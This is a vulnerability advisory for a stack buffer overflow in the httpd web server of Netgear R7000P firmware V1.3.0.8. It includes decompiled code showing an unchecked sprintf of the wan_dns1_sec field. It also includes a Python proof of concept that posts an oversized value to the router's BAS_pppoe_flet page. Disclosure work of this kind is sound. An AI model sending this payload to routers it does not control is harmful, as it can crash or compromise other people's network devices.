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# Netgear R7000P has a Stack Buffer Overflow Vulnerability

## Product

1. product information: <https://www.netgear.com>
2. firmware download: [http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8\\_1.0.93.zip](http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip)

## Affected version

V1.3.0.8

## Vulnerability

The stack overflow vulnerability is in /usr/sbin/httpd. The vulnerability occurs in the sub\_24500 function, which can be accessed via the URL [http://routerlogin.net/BAS\\_pppoe\\_flet.htm](http://routerlogin.net/BAS_pppoe_flet.htm).

```

25  if ( dword_1E4814 )
26      acosNvramConfig_set("pppoe_wan_dns_sel", s1);
27  if ( !strcmp(s1, "1") )
28  {
29      sub_1A54C(a1, "wan_dns1_pri", s, 2048);
30      sub_1A54C(a1, "wan_dns1_sec", dest, 2048);
31      v2 = strcmp(dest, ... );
32      if ( !v2 )
33      {
34          v4 = -1586;
35          v3 = &v21;
36      }
37      v18 = 4;
38      if ( !v2 )
39          LOBYTE(v3[v4]) = 0;
40      v19 = s;
41      v20 = strlen(s);
42      v17[0] = 15;
43      if ( sub_D1B9C(v18, v19, v20, v17) )
44          return -1;
45      if ( dest[0] )
46      {
47          v18 = 4;
48          v19 = dest;
49          v20 = strlen(dest);
50          v17[0] = 15;
51          if ( sub_D1B9C(v18, v19, v20, v17) )
52              return -1;
53      }
54      sprintf((char *)v13, "%s %s", s, dest);
55      acosNvramConfig_set("wan_dns1", v13);
56      if ( dword_1E4814 )
57          acosNvramConfig_set(&unk_107ED5, v13);
58      v5 = v13;
59  }

```

vuln

Parameter `wan_dns1_sec` , is controllable and will be copied to `v13` by `sprintf` . It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

## PoC

```

import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'wan_dns1_pri=1&wan_dns1_sec=' + p1 # payload - wan_dns1_sec
p3 = b"POST /BAS_pppoe_flet.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)

```

